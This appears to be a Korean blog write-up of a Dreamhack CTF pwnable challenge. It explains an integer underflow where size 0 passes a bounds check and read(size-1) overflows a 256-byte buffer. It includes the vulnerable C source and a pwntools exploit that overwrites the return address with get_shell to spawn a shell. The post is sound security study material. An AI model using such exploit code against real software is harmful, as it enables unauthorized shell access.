1. Introduction


이 프로그램은 자료형과 overflow를 탐지하는 검증 메커니즘의 오류로 발생하는 취약점임

 

2. Static Analysis


처음 본 순간 어떻게 주소를 조작해서 get_shell() 을 호출하면 될것같다고 생각했다.

 

주어진 조건을 보면 buf[256] 으로 설정되어 있고, size는 256 넘게 입력할 경우 조건문 안으로 빠지게 되어 프로그램이 종료된다.

 

그러나 조건문은 or 문으로 되어있고 그 조건은 size > 256 || size<0 이다.

 

그러면 만약 size가 0 이면? 조건문에 걸리지 않아서 통과가 된다 ..

 

근데 size가 0이면 입력을 못받는거 아닌가 ?

 

read() 부부을 보면 size-1 만큼을 버퍼로 읽는걸 확인할 수 있다.

 

read 함수의 원형을 보면 read (int fd, void *buf, size_t len) 다음과 같다

 

  1. int fd는 파일 디스크립터
  1. void *buf 는 읽은 데이터를 저장할 메모리 공간
  1. size_t len 은 읽을 데이터의 크기

 

int size =0 일경우 size-1 을 하게되면 integer 범위가 넘어가게 된다. (2의 보수 계산)

 

정리하면

0을 넣어줌으로써 overflow 탐지 조건문을 넘어간다. 그 후 interger overflow를 이용해 ( 0을 입력할 경우 size-1의 크기만큼 read하는부분을 활용) 입력받는 버퍼의 크기를 늘리고 buffer overflow를 통해 get_shell 주소를 따내면 된다

#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h>  void alarm_handler() {     puts("TIME OUT");     exit(-1); }  void initialize() {     setvbuf(stdin, NULL, _IONBF, 0);     setvbuf(stdout, NULL, _IONBF, 0);      signal(SIGALRM, alarm_handler);     alarm(30); }  void get_shell() {     system("/bin/sh"); }  int main() {     char buf[256];     int size;      initialize();      signal(SIGSEGV, get_shell);      printf("Size: ");     scanf("%d", &size);      if (size > 256 || size < 0)     {         printf("Buffer Overflow!\n");         exit(0);     }      printf("Data: ");     read(0, buf, size - 1);      return 0; }

3. Dynamic Analysis


동적분석을 할게 없다 ..

 

4. Exploit code


from pwn import *  p = remote("host1.dreamhack.games","OOOOO") elf = ELF("./sint")  ''' information''' ebp = 0xffffd538 ret = 0xffffd53c buf = 0xffffd438  get_shell = elf.symbols["get_shell"]  p.recvuntil("Size: ") p.sendline('0') p.recvuntil('Data: ')  payload = "A"*256 payload +=p32(get_shell)  p.sendline(payload)  p.interactive()

'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr bof 문제  (0) 2019.10.21
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

+ Recent posts